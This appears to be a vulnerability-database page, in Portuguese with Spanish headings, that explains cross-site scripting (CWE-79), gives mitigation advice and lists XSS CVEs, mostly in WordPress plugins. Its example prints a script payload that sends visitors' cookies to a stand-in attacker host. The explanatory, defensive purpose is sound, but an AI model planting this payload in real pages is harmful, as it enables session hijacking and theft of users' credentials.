Fallos del tipo CWE-79

29.684 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-32169MEDIUMWordPress Showeblogin Social plugin <= 7.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-27631MEDIUMWordPress Daily Prayer Time Plugin <= 2023.05.04 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-23857HIGHCross-Site Scripting (XSS) vulnerability in Cups EasyEPSS 0.4%CVE-2025-32168MEDIUMWordPress Gutenify plugin <= 1.5.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-32174MEDIUMWordPress Tockify Events Calendar plugin <= 2.2.13 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-44818MEDIUMCross Site Scripting vulnerability in ZZCMS v.2023 and before allows a remote attacker to obtain sensitive information via the HTTP_Referer EPSS 0.4%CVE-2026-100174MEDIUMStored Cross-Site Scripting (XSS) in AIL Framework Tag Selector via Unescaped Tag NamesEPSS 0.4%CVE-2024-11441MEDIUMStored XSS in Serge in serge-chat/sergeEPSS 0.4%CVE-2024-0586MEDIUMEssential Addons for Elementor – Best Elementor Templates, Widgets, Kits & WooCommerce Builders <= 5.9.4 - Authenticated (Contributor+) Stored Cross-Site ScritpingEPSS 0.4%CVE-2025-32163MEDIUMWordPress Xpro Elementor Addons plugin <= 1.4.10 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-26351MEDIUMGetSimpleCMS-CE < 3.3.22 Stored XSS via components.phpEPSS 0.4%CVE-2024-33955MEDIUMWordPress Freesia Empire theme <= 1.4.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-32193MEDIUMWordPress Simple WP Events plugin <= 1.8.17 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-32167MEDIUMWordPress SurveyJS plugin <= 1.12.20 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-1684MEDIUMOtter Blocks PRO <= 2.6.3 - Authenticated(Contributor+) Stored Cross-Site Scripting via File Field CSSEPSS 0.4%CVE-2024-1363MEDIUMEasy Accordion – Best Accordion FAQ Plugin for WordPress <= 2.3.4 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2023-32105HIGHWordPress WPPizza Plugin <= 3.17.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2025-32175MEDIUMWordPress VK Filter Search plugin <= 2.20.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-21550MEDIUMSteVe is an open platform that implements different version of the OCPP protocol for Electric Vehicle charge points, acting as a central serEPSS 0.4%CVE-2025-32207MEDIUMWordPress Ni WooCommerce Cost Of Goods plugin <= 3.2.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%